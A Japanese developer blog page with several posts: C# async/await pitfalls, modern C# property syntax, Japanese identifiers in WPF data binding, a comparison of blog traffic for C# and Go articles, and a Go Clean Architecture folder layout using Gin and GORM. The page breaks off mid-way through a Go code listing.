2026/05/13

C# async/awaitの落とし穴と使いこなしコツ

C# async/awaitの落とし穴と使いこなしコツ——「待たない」設計で変わること

async/awaitはC# 5から使えるようになって久しいけど、「とりあえず付ければ非同期になる」という理解のまま書くと、同期コードより遅くなったり、デッドロックで詰んだりする。自分もそういうハマり方を何度かやった。

この記事では、async/awaitで実際に踏みやすい罠と、「待たない」設計のコツを整理する。.NET 10(C# 14)を前提にしているが、考え方自体は.NET 6以降であれば共通だ。

罠その1——awaitを直列に並べると順次実行になる

いちばんよくあるミスはこれだ。複数の非同期処理を「なんとなく」awaitで並べると、前の処理が完全に終わるまで次が始まらない。

// ダメな例: 合計300ms かかる
var user = await GetUserAsync(userId);       // 100ms
var orders = await GetOrdersAsync(userId);   // 100ms
var address = await GetAddressAsync(userId); // 100ms

3つのAPIコールに依存関係がないのに、直列に待つだけで300msかかる。Task.WhenAllを使えば並列実行できて、合計は最大の100msに近づく。

// 正しい例: 約100ms で終わる
var userTask    = GetUserAsync(userId);
var ordersTask  = GetOrdersAsync(userId);
var addressTask = GetAddressAsync(userId);

await Task.WhenAll(userTask, ordersTask, addressTask);

var user    = userTask.Result;    // WhenAll後なので完了済み
var orders  = ordersTask.Result;
var address = addressTask.Result;

Task.WhenAllのあとで.Resultを使っているのは、この時点では既にタスクが完了しているから安全だ(デッドロックの心配はない)。もちろん各タスクをawaitしてもよい。

例外が複数ある場合の注意

Task.WhenAllはいずれかのタスクが例外を投げるとAggregateExceptionとして集約する。awaitするとその中の最初の例外がアンラップされて投げられる。複数タスクすべての例外を取り出したい場合は、task.Exceptionを個別に確認する必要がある。

罠その2——.Result/.Waitで同期的に待つとデッドロックする

ASP.NET Core以前の旧来のASP.NETや、WPF/WinFormsのUIスレッドで.Result.Wait()を呼ぶと、デッドロックが起きることがある。

// UIスレッドや旧ASP.NETコンテキストでは危険
var result = GetDataAsync().Result;   // デッドロックの可能性
var result = GetDataAsync().Wait();   // 同上

仕組みを簡単に言うと、awaitは元のSynchronizationContextに戻ろうとするが、.Resultでそのスレッドがブロックされているため、お互いが待ち合って詰む。

ASP.NET Core(.NET 5以降)はSynchronizationContextがないためこの問題は発生しない。ただし、ライブラリコードとして書く場合や古い環境をサポートする場合は要注意だ。回避策は2つある。

// 方法1: ConfigureAwait(false) でコンテキストへの復帰を抑制
var data = await GetDataAsync().ConfigureAwait(false);

// 方法2: 非同期メソッドチェーンを維持してawaitで待つ(本質的な解決)
public async Task ProcessAsync()
{
    return await GetDataAsync();
}

ライブラリを書く場合はConfigureAwait(false)を付けるのがベストプラクティスとされている。呼び出し元のコンテキストに縛られないため、デッドロックのリスクを下げられる。

罠その3——async voidで例外が消える

async voidはイベントハンドラ以外では使うべきじゃない。メソッドが例外を投げてもキャッチする手段がなく、プロセスがクラッシュするか、例外が無視される。

// ダメな例
async void LoadDataAsync()
{
    var data = await FetchAsync();  // 例外が飛んでも呼び元でキャッチできない
    Process(data);
}

// 正しい例: async Task にする
async Task LoadDataAsync()
{
    var data = await FetchAsync();
    Process(data);
}

// イベントハンドラだけはasync voidが許容される
private async void Button_Click(object sender, EventArgs e)
{
    await LoadDataAsync();  // ここでキャッチできる形にする
}

async voidを書きたくなったら、async Taskに変えて、呼び出し元でawaitするように設計を直すのが先だ。

fire and forget——意図的に「待たない」パターン

ログ送信や通知など、「結果は要らないし失敗してもいい」処理を意図的に待たないことがある。async voidに似ているが、明示的に非同期タスクを手放す書き方を使う。

// awaitしないとコンパイラ警告が出る場合は _ で受ける
_ = SendTelemetryAsync(eventData);

// または Task.Run でスレッドプールに委ねる
_ = Task.Run(() => SendTelemetryAsync(eventData));

fire and forgetは例外が握りつぶされるリスクがある。本番コードで使う場合は、タスク内でtry-catchして例外をログに残す処理を入れておくことが多い。

private static async Task FireAndForgetAsync(Func action)
{
    try
    {
        await action();
    }
    catch (Exception ex)
    {
        // ログに残して握りつぶす
        logger.LogError(ex, "Fire-and-forget task failed");
    }
}

// 使い方
_ = FireAndForgetAsync(() => SendTelemetryAsync(eventData));

CancellationTokenを渡す

非同期メソッドを書くならCancellationTokenを受け取れる設計にしておく。HTTPリクエストのキャンセル・タイムアウト・アプリシャットダウン時のクリーンアップが、これがないと一切効かない。

// キャンセルトークンを受け取るシグネチャ
public async Task GetOrderAsync(Guid id, CancellationToken cancellationToken = default)
{
    return await _repository.FindAsync(id, cancellationToken);
}

// ASP.NET Coreではコントローラから自動で渡される
[HttpGet("{id}")]
public async Task Get(Guid id, CancellationToken cancellationToken)
{
    var order = await _service.GetOrderAsync(id, cancellationToken);
    return Ok(order);
}

引数の末尾にCancellationToken cancellationToken = defaultとデフォルト値付きで追加しておくと、既存の呼び出しコードを壊さずに後から対応できる。

まとめ

  • 依存関係のない複数の非同期処理はTask.WhenAllで並列化する。直列awaitは遅い
  • .Result/.Wait()による同期ブロックはデッドロックの原因になる。ライブラリコードではConfigureAwait(false)を付ける
  • async voidはイベントハンドラ以外では使わない。例外が捕捉できなくなる
  • fire and forgetは_ =で明示し、内部でtry-catchしてログを残す
  • 非同期メソッドにはCancellationTokenを通しておく

C#のプロパティ宣言の最新事情(fieldキーワード・initrequired)についてはこちら。→ C# 2026年のプロパティ宣言まとめ

2026/05/11

C# 2026年のプロパティ宣言——fieldキーワードとget setの書き方まとめ

C# 2026年のプロパティ宣言——fieldキーワードとget/setの書き方まとめ

C#のプロパティ宣言は、バージョンを追うごとにどんどん短く書けるようになっている。古いコードを読んでいると、バッキングフィールドを自分で宣言してgetとsetでそれを返すだけ、という10行近いボイラープレートが普通に出てくる。2026年時点の書き方と比べると、同じことをやっているのに別の言語みたいに見える。

この記事では、C# 14(.NET 10)までの機能を踏まえて、2026年時点でプロパティをどう書くべきかを整理した。特にfieldキーワードは実際に使い始めたら手放せなくなったので、そこを中心に書いている。

古い書き方——バッキングフィールドを自分で管理する

昔からあるパターンはこれだ。バリデーションや副作用が必要なプロパティは、プライベートフィールドを自分で宣言して、getとsetの中で操作する。

public class User
{
    private string _name;

    public string Name
    {
        get => _name;
        set
        {
            if (string.IsNullOrWhiteSpace(value))
                throw new ArgumentException("名前は空にできません");
            _name = value;
        }
    }
}

動くし読めるけど、_nameという変数がNameプロパティのためだけに存在していて、それが当たり前のように積み重なっていく。クラスが大きくなると、どのフィールドがどのプロパティに対応しているかを目で追う必要が出てくる。

C# 14のfieldキーワード——バッキングフィールドが不要になる

.NET 10(C# 14)で追加されたfieldキーワードを使うと、コンパイラが生成するバッキングフィールドにアクセサの中から直接アクセスできる。上のコードは次のように書き直せる。

public class User
{
    public string Name
    {
        get => field;
        set
        {
            if (string.IsNullOrWhiteSpace(value))
                throw new ArgumentException("名前は空にできません");
            field = value;
        }
    }
}

_nameの宣言が消えた。fieldはコンパイラが自動生成するバッキングフィールドへの参照で、外から直接触れない。オートプロパティとカスタムアクセサの中間点みたいな位置づけで、「単純に値を返すだけじゃないけど、専用のフィールドを宣言するほどでもない」ケースにちょうど合う。

片方だけカスタムにすることもできる

setだけロジックを入れて、getはそのまま返す、という使い方が実際には多い。

public string Email
{
    get;
    set
    {
        if (!value.Contains('@'))
            throw new FormatException("メールアドレスの形式が不正です");
        field = value.ToLowerInvariant();
    }
}

getはオートプロパティのまま、setだけカスタムにできる。これがfieldキーワードの使い方としていちばん出番が多いんじゃないかと思っている。

initアクセサ——オブジェクト初期化時だけ書き込みを許可する

C# 9で追加されたinitは、コンストラクタやオブジェクト初期化子から設定できるけど、その後は変更できないプロパティを作れる。setの代わりにinitと書くだけだ。

public class Order
{
    public Guid Id { get; init; } = Guid.NewGuid();
    public DateTime CreatedAt { get; init; } = DateTime.UtcNow;
    public string CustomerId { get; init; }
}

// 初期化子でセット可能
var order = new Order { CustomerId = "C001" };

// これはコンパイルエラー
order.CustomerId = "C002";

レコード型と組み合わせることが多いけど、普通のクラスで「作ったあとは変えない値」を持ちたいときにも使える。

requiredモディファイア——初期化を強制する

C# 11で入ったrequiredは、オブジェクト初期化子でそのプロパティを設定しないとコンパイルエラーにしてくれる。

public class Product
{
    public required string Name { get; init; }
    public required decimal Price { get; init; }
    public string Description { get; init; }  // 任意
}

// Nameを省略するとコンパイルエラー
var p = new Product { Price = 1000 };  // エラー: Nameが設定されていない

// 正しい使い方
var p = new Product { Name = "コーヒー豆", Price = 1000 };

コンストラクタを書かなくてもプロパティの初期化漏れを防げる。DTO・モデルクラスで特に重宝する。

プライマリコンストラクタ——C# 12で普通のクラスにも

C# 12でレコード型だけでなく通常のクラスにもプライマリコンストラクタが使えるようになった。DIでよくある「コンストラクタでサービスを受け取ってフィールドに代入する」パターンが短く書ける。

// 以前
public class OrderService
{
    private readonly IOrderRepository _repository;
    private readonly ILogger _logger;

    public OrderService(IOrderRepository repository, ILogger logger)
    {
        _repository = repository;
        _logger = logger;
    }
}

// C# 12以降
public class OrderService(IOrderRepository repository, ILogger logger)
{
    public async Task GetAsync(Guid id)
    {
        logger.LogInformation("Getting order {Id}", id);
        return await repository.GetByIdAsync(id);
    }
}

フィールド宣言が消えてコンストラクタも消えた。パラメータはクラス全体のスコープで使える。ただし、プライマリコンストラクタのパラメータはプロパティではないので、外から参照させたい場合は別途プロパティとして定義する必要がある点は注意だ。

2026年時点での使い分け

整理するとこうなる。

パターン使う場面
{ get; set; }単純なプロパティ。バリデーションなし
{ get; init; }初期化後は変更させたくないプロパティ
required { get; init; }初期化必須 + 変更不可。DTOやモデル
fieldキーワードsetにバリデーション・変換が必要。バッキングフィールドは不要
バッキングフィールド手動宣言フィールドを他のメソッドからも参照する場合

fieldキーワードが追加されたことで、手動バッキングフィールドが必要なケースはかなり限られてきた。大半のケースはfieldで書けるし、その方が宣言が少なくてクラスがスッキリする。

まとめ

  • C# 14のfieldキーワードでバッキングフィールド宣言が不要になった。setのバリデーションにfield = valueと書くだけ
  • init(C# 9)で初期化後に変更不可のプロパティを宣言できる
  • required(C# 11)でプロパティの初期化漏れをコンパイル時に検出できる
  • プライマリコンストラクタ(C# 12)でDIのボイラープレートを大幅に削減できる

2026/05/08

C# WPFのデータバインディングで日本語プロパティ名を使ったら何が起きるか

C# WPFのデータバインディングで日本語プロパティ名を使ったら何が起きるか

「C#って日本語の変数名が使えるらしい」という話は聞いたことがあった。でも実際にWPFのデータバインディングで試したことはなかった。{Binding 名前}みたいに書いて本当に動くのか。動いたとして、実用に耐えるのか。半分好奇心、半分「どうせ落とし穴があるだろう」という気持ちで検証してみた。

そもそもC#は日本語識別子を正式にサポートしている

C#の言語仕様(ECMA-334)では、識別子にUnicode文字を使えると明記されている。つまり変数名・プロパティ名・クラス名に漢字・ひらがな・カタカナをそのまま使えるのは仕様として保証された挙動で、バグでも裏技でもない。

// これは正式に有効なC#コード
public class 利用者
{
    public string 名前 { get; set; }
    public int 年齢 { get; set; }
    public string メールアドレス { get; set; }
}

Visual Studio 2022でも普通にIntelliSenseが効く。補完候補に「名前」「年齢」が出てくる様子はなかなかシュールだけど、ビルドは通る。

WPFのXAMLバインディングでも使えるか

ViewModelに日本語プロパティを持たせてXAMLからバインドしてみた。

// ViewModel
public class 利用者ViewModel : INotifyPropertyChanged
{
    private string _名前;
    public string 名前
    {
        get => _名前;
        set
        {
            _名前 = value;
            OnPropertyChanged(nameof(名前));
        }
    }

    private int _年齢;
    public int 年齢
    {
        get => _年齢;
        set
        {
            _年齢 = value;
            OnPropertyChanged(nameof(年齢));
        }
    }

    public event PropertyChangedEventHandler PropertyChanged;
    protected void OnPropertyChanged(string name)
        => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(name));
}
<!-- XAML -->
<StackPanel>
    <TextBox Text="{Binding 名前, UpdateSourceTrigger=PropertyChanged}" />
    <TextBox Text="{Binding 年齢, UpdateSourceTrigger=PropertyChanged}" />
    <TextBlock Text="{Binding 名前}" />
</StackPanel>

結果は——動く。{Binding 名前}でちゃんとViewModelの名前プロパティにバインドされて、TextBoxに入力した値がリアルタイムで反映される。WPFのバインディングは内部でリフレクションを使ってプロパティ名を文字列で解決しているので、Unicode名でも問題ない。

nameof()も日本語プロパティで機能する

INotifyPropertyChangedの実装でnameof(名前)と書けるのが地味に重要で、プロパティ名のタイポをコンパイル時に検出できる。ハードコードで"名前"と文字列を渡す実装より安全だ。

// nameof()は日本語プロパティでも正しく機能する
OnPropertyChanged(nameof(名前)); // → "名前" という文字列になる

実際に困った点

IME切り替えのストレス

コードを書くとき、英字と日本語の間で頻繁にIMEを切り替えることになる。public string まで英字で書いて、プロパティ名を入力するために日本語入力に切り替えて、また { get; set; }に戻す、という繰り返しが思ったより煩わしい。慣れの問題かもしれないけど、英語コードの中に日本語が挟まるリズムが崩れる感覚は否めない。

バックエンドとの連携がつらい

APIのレスポンスをViewModelにマッピングするとき、JSONのキーは英語("name""age")でプロパティは日本語、という状況になる。System.Text.JsonやNewtonsoft.Jsonで属性を付ければ対応できるけど、一段階手間が増える。

using System.Text.Json.Serialization;

public class 利用者
{
    [JsonPropertyName("name")]
    public string 名前 { get; set; }

    [JsonPropertyName("age")]
    public int 年齢 { get; set; }
}

StackOverflowやGitHub Copilotとの相性

英語のプロパティ名なら、同じ構造のコードがStackOverflowにいくらでもある。日本語プロパティ名のコードは検索してもほぼ出てこないし、Copilotの補完も精度が落ちる。サンプルコードをそのまま流用しにくい。

使ってみた正直な感想

「動く」と「実用的」は別の話だと改めて思った。一人で書く小さなツールで、日本語のビジネスドメインを扱う場合は選択肢としてアリかもしれない。「顧客番号」「請求金額」「納期」みたいな用語が英訳すると意味が曖昧になるドメインでは、日本語のまま書いた方がコードと仕様書の対応がはっきりする、という考え方はわかる。

ただチームで使う場合や、外部のAPIやライブラリとの連携が多い場合は苦労の方が大きいと思う。英語識別子のコードベースに日本語が混ざると、どちらのルールで書けばいいか迷う人が出てくる。「愚行」と言い切るほどではないけど、採用するなら明確な理由と運用ルールが必要だ。

まとめ

  • C#は仕様としてUnicode識別子をサポートしており、日本語プロパティ名は正式に有効
  • WPFのデータバインディング({Binding 名前}形式)も日本語プロパティで正常に動作する
  • nameof()INotifyPropertyChanged・XAMLバインディングすべて問題なく機能した
  • 実用上の課題はIME切り替え、JSON属性の追加、英語サンプルコードとの乖離
  • ドメイン用語が日本語で完結する一人プロジェクトなら選択肢になりうる。チーム開発では要検討

GolangよりC#記事が伸びた話——技術ブログのアクセス分析

GolangよりC#記事が伸びた——技術ブログのアクセスを分析してみたら意外な結果が出た

技術ブログを書き始めたとき、Golang関連の記事が一番読まれると思っていた。モダンで注目度が高くて、自分もよく書く言語だったから、ネタとしても自然だと思っていたんだけど、実際にSearch Consoleを見てみたら全然そうじゃなかった。C#の記事の方がずっとアクセスを集めていた。しかもGolang記事との差が思ったより大きかった。

なぜかが気になって調べ始めたのがこの記事のきっかけだ。

Golang記事は伸びなかった——数字で見るとはっきりわかる

Golang関連の記事をいくつか書いた後、Google Search Consoleで表示回数とクリック数を確認した。フォルダ構成の話やGin + GORMを使ったAPIの構成など、自分が実際に使った内容で書いたつもりだったけど、表示回数がそもそも少ない。検索結果に出ていないというより、そもそも検索しているユーザーの絶対数が少ないんだと思う。

一方でC#の記事は、書いてからそれほど時間が経っていないのにSearch Consoleの表示回数がGolangの記事より多かった。クリック率はどちらも似たようなものだったので、単純に検索ボリュームの差が出ている形だ。

なぜC#の方が検索ボリュームが大きいのか

日本市場を考えると、C#の根強さは納得がいく。以前、受託の案件で.NETのシステムを触ったことがあるんだけど、そのあたりの現場ではC#がごく当たり前に使われていた。日本のSIerはJavaが主流とはいえ、.NET/C#も業務系では広く生き残っていて、「C# ○○のやり方」という実務検索がコンスタントに発生し続けている。

Unityも大きい。ゲーム開発でC#を使う人が多くて、「Unity C# スクリプト」系の検索はボリュームがかなりある。ゲーム開発系の読者は技術ブログをよく読む層で、検索行動も活発だ。

Golangはというと、採用している企業はメルカリやCyberAgentなどのWeb系大手が多く、その層はQiitaや英語圏の記事を読む傾向がある。日本語でGolangを検索するユーザーは相対的に少ないかもしれない。公式ドキュメントやGitHub上の情報が英語で十分そろっているので、日本語記事を探すモチベーションが下がるのかもしれない。

Google Trendsで比べると差は明確

Google Trendsで「C#」と「Go 言語」または「Golang」を日本向けで比較すると、C#の方が継続的に検索されているのがわかる。Golangの検索量が急増したタイミングはあるものの、継続的なベースラインで見るとC#の方が安定して多い。

これはGolangが悪い技術だということじゃなくて、単純にユーザー数と歴史の差だと思っている。C#は2002年のリリース以来20年以上の蓄積がある。検索キーワードの種類も多いし、「困った人が検索する」シナリオがそれだけ多い。Golangは普及し始めたのも最近で、コミュニティの規模感がまだ全然違う。

技術ブログで「伸びるネタ」を選ぶ考え方

この経験から、記事ネタを選ぶときの判断軸を少し変えた。「自分が書きたいこと」だけで選ぶんじゃなくて、「その言語・技術を日本語で検索しているユーザーがどれくらいいるか」を先に確認するようになった。

確認する方法は簡単で、Google Trendsで気になる技術名を比較する、あるいはGoogle検索でキーワードを打ってみてサジェストにどんなキーワードが出てくるかを見る。サジェストが豊富なキーワードは検索ボリュームが大きいことが多い。

ただ、「検索ボリュームがあるテーマだけ書く」というのも違う気がしている。自分が実際に使っていない技術を書いても内容が薄くなるし、読んでいてすぐわかる。ボリュームがある技術を扱いつつ、自分の実務経験を乗せることで情報に厚みを出す、というのが今の方針だ。

C#でも書けるネタを探す

自分はGolangをメインに使っているけど、C#を完全に触ったことがないわけじゃない。過去に.NETの案件を触ったことがあるし、Unityも少しさわっている。そういう経験を引っ張り出して、C#記事のネタにしてみたら思ったより素直に書けた。「Go使いが初めてC#を触ったときの話」という切り口で書いたら、Goユーザー向けの比較記事になって意外とハマった。

「自分のメイン技術じゃないから書けない」という思い込みがあったけど、ちょっとさわった経験でも「初心者目線で書く」という切り口なら価値が出る。C#をゴリゴリ使っているベテランが書く記事と、「Golangメインで初めてC#を触ったエンジニアが書く記事」は読者が違う。

Golangを諦めるわけじゃない

C#が伸びたからといって、Golang記事をやめるつもりはない。Golangは自分が一番詳しい技術で、書ける内容の深さが違う。アクセスの絶対数は少なくても、ニッチな検索キーワードで上位を取れる可能性はある。ロングテールで拾う戦略だ。

それにGolang記事はこれから増える可能性も十分ある。国内でのGoの採用は増えていて、日本語で検索する人の数は少しずつ増えているはずだ。今のうちに記事を積み上げておくことで、ボリュームが増えたときに上位表示できる状態を作っておく、という考え方もできる。

結局のところ、自分の経験でいちばん腹落ちしたのは「書いてみないとわからない」という当たり前のことだった。想定と結果が違うことはよくあって、そのギャップから次の方針が見えてくる。Search Consoleは定期的に見る価値があると改めて思っている。

まとめ

  • 日本語での検索ボリュームはC#がGolangを上回る。記事を書く前にGoogle TrendsとGoogleサジェストで確認する価値がある
  • C#はSIer業務システム・Unityの層が厚く、「困って検索する人」が継続的に発生している
  • メイン技術でなくても、実体験があれば「初心者目線の記事」として書ける。ベテランとは読者層が違う
  • Golang記事はロングテール狙いで積み上げ続ける。検索ボリュームは少しずつ増えているはずだ

2026/05/07

GolangでClean ArchitectureなAPIを作るフォルダ構成(Gin + GORM)

GolangでClean ArchitectureなAPIを作るフォルダ構成(Gin + GORM)

Ginで新しいAPIを作り始めるとき、最初に迷うのがフォルダ構成だった。とりあえず動かすだけならmain.goに全部書いてしまえばいいんだけど、それをやると後で必ず後悔する。外部APIとの連携が増えてきたり、ハンドラが10本を超えたあたりで一気に読めなくなる。

今はClean Architectureの考え方をベースにpkg/以下をレイヤーごとに切る構成に落ち着いている。handler → usecase → repository/gatewayという一方向の依存で、内側の層が外側を知らない設計だ。DB操作にはGORM、外部サービスへの接続はgatewayパターンで抽象化している。これはPorts and Adaptersとも呼ばれる考え方で、ローカル環境ではgatewaymockに差し替えることで外部サービスなしに動かせる。

全体のディレクトリ構成

まず全体像から。

myapp/
├── main.go
├── Makefile
├── docker/
│   ├── docker-compose.yml
│   └── docker-compose.test.yml
├── .env.local
├── .env.staging
├── .env.production
├── pkg/
│   ├── handler/
│   │   ├── user_handler.go
│   │   └── item_handler.go
│   ├── gateway/
│   │   ├── db.go
│   │   ├── secrets.go
│   │   ├── payment_gateway.go
│   │   ├── payment_gateway_mock.go
│   │   ├── payment_gateway_test.go
│   │   ├── notification_gateway.go
│   │   ├── notification_gateway_mock.go
│   │   └── notification_gateway_test.go
│   ├── usecase/
│   │   └── user_usecase.go
│   ├── repository/
│   │   └── user_repository.go
│   ├── domain/
│   │   └── user.go
│   └── config/
│       └── config.go
├── migrations/
│   ├── 000001_create_users.up.sql
│   ├── 000001_create_users.down.sql
│   └── 000002_create_items.up.sql
│   └── 000002_create_items.down.sql
├── go.mod
└── go.sum

ルートのmain.goがエントリポイントで、ここでDIをまとめてGinを起動する。pkg/以下に全てのロジックが収まる構成で、DBも「外部リソースへの接続」としてgateway/に置く。Stripeや通知サービスへの接続と同じ扱いで、gateway/db.goがGORMの接続を返す。

pkg/handler — ルーティングとリクエスト処理

handler/はリクエスト・レスポンスの変換を担う。ルーティングはmain.goに書くので、ハンドラは処理だけに集中できる。ビジネスロジックはusecaseに渡すだけにする。

// pkg/handler/user_handler.go
package handler

import (
    "net/http"

    "github.com/gin-gonic/gin"
    "myapp/pkg/usecase"
)

type UserHandler struct {
    userUsecase usecase.UserUsecase
}

func NewUserHandler(uu usecase.UserUsecase) *UserHandler {
    return &UserHandler{userUsecase: uu}
}

func (h *UserHandler) GetUser(c *gin.Context) {
    id := c.Param("id")
    user, err := h.userUsecase.GetByID(c.Request.Context(), id)
    if err != nil {
        c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
        return
    }
    c.JSON(http.StatusOK, user)
}

ハンドラごとにファイルを分けているので、user_handler.goが肥大化してきたらitem_handler.goのように追加するだけで済む。ルーティングはmain.goに集めているので、エンドポイントの一覧をそこで把握できる。

pkg/gateway — 外部サービスとの連携

外部APIや外部サービスとのやり取りはgateway/に閉じ込める。決済サービス、通知サービス、外部のマスターデータAPIなど、自分たちが管理していないシステムとの境界がここだ。

gatewayの中身はインターフェースと実装に分けておくと、テスト時にモックに差し替えやすい。

// pkg/gateway/payment_gateway.go
package gateway

import (
    "context"
    "encoding/json"
    "fmt"
    "net/http"
)

type PaymentGateway interface {
    Charge(ctx context.Context, amount int, token string) error
}

type stripeGateway struct {
    apiKey  string
    baseURL string
    client  *http.Client
}

func NewStripeGateway(apiKey string) PaymentGateway {
    return &stripeGateway{
        apiKey:  apiKey,
        baseURL: "https://api.stripe.com/v1",
        client:  &http.Client{},
    }
}

func (g *stripeGateway) Charge(ctx context.Context, amount int, token string) error {
    // Stripe APIへのリクエスト処理
    _ = json.NewEncoder
    _ = fmt.Sprintf
    return nil
}

ここがgatewayと呼ぶ理由は、外の世界への「玄関口」として責務を明確にするためだ。usecaseはgatewayのインターフェースだけを知っていればよくて、裏でStripeを使おうがPayPayを使おうがusecaseは気にしない。外部サービスの乗り換えや追加がしやすい構造になる。

ローカル用のmock実装(_mockファイル)

ローカル環境では外部サービスを呼ばず、同じインターフェースを実装したmockが固定値を返す。ファイル名はpayment_gateway_mock.goのように_mockサフィックスをつけて本実装と並べておく。

// pkg/gateway/payment_gateway_mock.go
package gateway

import (
    "context"
    "log"
)

type mockPaymentGateway struct{}

func NewMockPaymentGateway() PaymentGateway {
    return &mockPaymentGateway{}
}

func (m *mockPaymentGateway) Charge(ctx context.Context, amount int, token string) error {
    log.Printf("[mock] PaymentGateway.Charge: amount=%d token=%s → success", amount, token)
    return nil
}

本実装と同じパッケージに置くのでインターフェースをそのまま参照できる。main.goでenv値を見て差し替えるだけで、usecaseもhandlerも変更不要になる。

単体テストはGoの標準規則に従って_test.goサフィックスをつける。payment_gateway_test.goのように本実装ファイルと対応した名前にしておくと、どのファイルのテストか迷わない。テスト内でmockを使いたい場合は同パッケージのpayment_gateway_mock.goをそのまま参照できる。

// pkg/gateway/payment_gateway_test.go
package gateway_test

import (
    "context"
    "testing"

    "myapp/pkg/gateway"
)

func TestMockPaymentGateway_Charge(t *testing.T) {
    gw := gateway.NewMockPaymentGateway()
    if err := gw.Charge(context.Background(), 1000, "tok_test"); err != nil {
        t.Errorf("unexpected error: %v", err)
    }
}
// main.go — gatewayの差し替え箇所
var paymentGw gateway.PaymentGateway
if cfg.Env == "local" {
    paymentGw = gateway.NewMockPaymentGateway()
} else {
    paymentGw = gateway.NewStripeGateway(cfg.StripeKey)
}

pkg/domain — GORMモデルの定義

domain/にはGORMのモデル定義を置く。gorm.Modelを埋め込むとIDCreatedAtUpdatedAtDeletedAt(ソフトデリート用)が自動で付いてくるので、基本的にはこれを使っている。

// pkg/domain/user.go
package domain

import (
    "context"

    "gorm.io/gorm"
)

type User struct {
    gorm.Model
    Name  string `gorm:"not null"`
    Email string `gorm:"uniqueIndex;not null"`
}

type UserRepository interface {
    FindByID(ctx context.Context, id uint) (*User, error)
    Create(ctx context.Context, user *User) error
}

リポジトリのインターフェースもここに定義しておく。これによってusecase/domain.UserRepositoryだけを知っていればよく、GORMの実装の詳細と切り離せる。

pkg/repository — GORMによるDB操作の実装

repository/がGORMを直接使う唯一の層で、ここ以外でGORMのコードは書かない。*gorm.DBを受け取って各メソッドを実装する。

// pkg/repository/user_repository.go
package repository

import (
    "context"
    "errors"

    "gorm.io/gorm"
    "myapp/pkg/domain"
)

type userRepository struct {
    db *gorm.DB
}

func NewUserRepository(db *gorm.DB) domain.UserRepository {
    return &userRepository{db: db}
}

func (r *userRepository) FindByID(ctx context.Context, id uint) (*domain.User, error) {
    var user domain.User
    result := r.db.WithContext(ctx).First(&user, id)
    if errors.Is(result.Error, gorm.ErrRecordNotFound) {
        return nil, nil
    }
    return &user, result.Error
}

func (r *userRepository) Create(ctx context.Context, user *domain.User) error {
    return r.db.WithContext(ctx).Create(user).Error
}

db.WithContext(ctx)でコンテキストを必ず渡す。タイムアウトやキャンセルをDB層まで伝播させるためで、省略するとリクエストがキャンセルされてもクエリが走り続ける。gorm.ErrRecordNotFoundはレコードが見つからない場合のエラーなので、errors.Isで判定してnilを返すか上位層に任せるかを決める。

ローカル環境のDB — docker-compose で用意する

ローカルではDBをDockerで立てる。docker/フォルダにdocker-compose.ymlをまとめて、ルートから-fで指定して起動する。

docker compose -f docker/docker-compose.yml up -d
# docker/docker-compose.yml
services:
  db:
    image: postgres:16
    environment:
      POSTGRES_USER: user
      POSTGRES_PASSWORD: password
      POSTGRES_DB: myapp
    ports:
      - "5432:5432"

.env.localDATABASE_DSNはこのコンテナに向ける。

# .env.local の DATABASE_DSN
DATABASE_DSN=postgres://user:password@localhost:5432/myapp?sslmode=disable

pkg/gateway/db.go — GORM接続の初期化

DBは「外部リソースへの接続」なので、Stripeや通知サービスと同じくgateway/に収める。db.goがGORMの接続を生成して返すだけのシンプルな役割を持つ。

// pkg/gateway/db.go
package gateway

import (
    "fmt"

    "gorm.io/driver/postgres"
    "gorm.io/gorm"
)

func NewDB(dsn string) (*gorm.DB, error) {
    db, err := gorm.Open(postgres.Open(dsn), &gorm.Config{})
    if err != nil {
        return nil, fmt.Errorf("db connection failed: %w", err)
    }
    return db, nil
}

DB接続の生成だけに絞る。テーブル作成はgolang-migrateで管理するのでAutoMigrateは使わない。

migrations — golang-migrateでテーブル管理

テーブルのDDLはバージョン管理されたSQLファイルで管理する。golang-migrateはup/downのペアで変更を管理でき、適用済みのバージョンをDBに記録してくれる。CLIのインストール方法はREADMEに記載する。

ファイル名は連番_説明.up.sql/連番_説明.down.sqlの形式でmigrations/に置く。

-- migrations/000001_create_users.up.sql
CREATE TABLE users (
    id         BIGSERIAL PRIMARY KEY,
    name       TEXT NOT NULL,
    email      TEXT NOT NULL UNIQUE,
    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
    updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
    deleted_at TIMESTAMPTZ
);
-- migrations/000001_create_users.down.sql
DROP TABLE IF EXISTS users;

マイグレーションはアプリ起動時に自動実行しない。Makefileのターゲットで明示的に実行する。migrate-up-testはテスト用コンテナ(port 5433)向けのターゲットで、テスト実行前に1回だけ手動で叩く。

# Makefile
DSN      ?= $(DATABASE_DSN)
TEST_DSN ?= postgres://user:password@localhost:5433/testdb?sslmode=disable

migrate-up:
	migrate -path migrations -database "$(DSN)" up

migrate-up-test:
	migrate -path migrations -database "$(TEST_DSN)" up

migrate-down:
	migrate -path migrations -database "$(DSN)" down 1

migrate-version:
	migrate -path migrations -database "$(DSN)" version

migrate-create:
	migrate create -ext sql -dir migrations -seq $(name)

テーブル定義を本番・開発・テストで一致させるために、どの環境でも同じSQLファイルをgolang-migrateで適用する。AutoMigrateはGORMのstructから推測してDDLを生成するので、意図しないカラム変更が起きる可能性がある。SQLを自分で書いて管理する方が変更の意図が明確になる。

pkg/config — 環境別の設定読み込み

機密情報(DB接続文字列・APIキーなど)はAWS Secrets Managerに登録して取得する。ポート番号やGinのモードなどの非機密値は環境ごとに1ファイルで管理する。各ファイルはその環境の非機密値を全て持ち、gitにコミットして問題ない内容だけ書く。

# .env.local  ※gitにコミットしない(機密値を含む)
PORT=:8080
GIN_MODE=debug
DATABASE_DSN=postgres://user:password@localhost:5432/myapp?sslmode=disable
STRIPE_KEY=sk_test_xxxxxxxxxxxx
# .env.staging  ※gitにコミットするファイル(非機密値のみ)
PORT=:8080
GIN_MODE=debug
AWS_REGION=ap-northeast-1
SECRET_NAME=myapp/staging/secrets
# .env.production  ※gitにコミットするファイル(非機密値のみ)
PORT=:8080
GIN_MODE=release
AWS_REGION=ap-northeast-1
SECRET_NAME=myapp/production/secrets

AWS Secrets Managerへの接続は他の外部連携と同じくgateway/に置く。シークレットはJSON形式で登録しておき、取得後にパースして使う。

go get github.com/aws/aws-sdk-go-v2/config
go get github.com/aws/aws-sdk-go-v2/service/secretsmanager
// pkg/gateway/secrets.go
package gateway

import (
    "context"
    "encoding/json"
    "fmt"

